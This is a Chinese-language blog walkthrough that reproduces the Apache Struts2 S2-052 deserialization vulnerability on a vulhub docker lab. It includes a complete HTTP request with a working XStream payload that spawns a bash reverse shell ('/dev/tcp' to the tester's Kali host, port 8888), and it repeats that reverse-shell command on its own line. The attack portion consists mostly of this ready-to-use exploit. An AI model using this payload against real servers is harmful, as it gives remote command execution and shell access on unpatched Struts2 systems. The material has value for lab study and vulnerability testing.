Struts2-052復現,並反彈Shell
技術無罪,請勿用於惡意用途
轉載請註明出處!
測試機:kali linux,win10
工具:burp
靶機:cenOS7
測試機IP:192.168.213.136
靶機IP:192.168.213.138
環境: docker
一. 環境搭建
docker搭建可以參考這位小姐姐的文章:
http://bbs.dark5.net/?thread-24.htm
將環境vulhub的環境git到本地
git clone https://github.com/vulhub/vulhub.git
clone後打開路徑
cd vulhub-master/struts2/s2-052/
執行命令
docker-compose up -d
第一次可能很慢,如果出現錯誤請更換鏡像源試試
我這裏已經成功了
查看ip打開,默認端口8080
打開192.168.213.138:8080
二. 漏洞復現
點擊編輯
打開Burp進行攔截
接着點擊Submit
數據包攔截下來後發送到repeter
由於rest-plugin會根據URI擴展名或Content-Type來判斷解析方法,所以我們需要修改Content-Type頭爲application/xml,即可在Body中傳遞XML數據。
所以進行修改後如下:
POST /orders/3 HTTP/1.1
Host: 192.168.213.138:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 2426
Origin: http://192.168.213.138:8080
Connection: close
Referer: http://192.168.213.138:8080/orders/3/edit
Cookie: JSESSIONID=98A0BB53021DD6458560BC7AB0508835
Upgrade-Insecure-Requests: 1
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/192.168.213.136/8888 0>&1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
此處爲payload
命令不能直接寫到一個<sting></sting>
中具體參考https://www.freebuf.com/vuls/147017.html
將IP修改爲kali的ip
bash -i >& /dev/tcp/192.168.213.136/8888 0>&1
用kali進行監聽
點擊Send
可以看見成功反彈shell了
小夥伴們,記得雙擊麼麼噠哦~
參考鏈接
https://www.freebuf.com/vuls/147017.html
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
https://vulhub.org/#/environments/struts2/s2-052/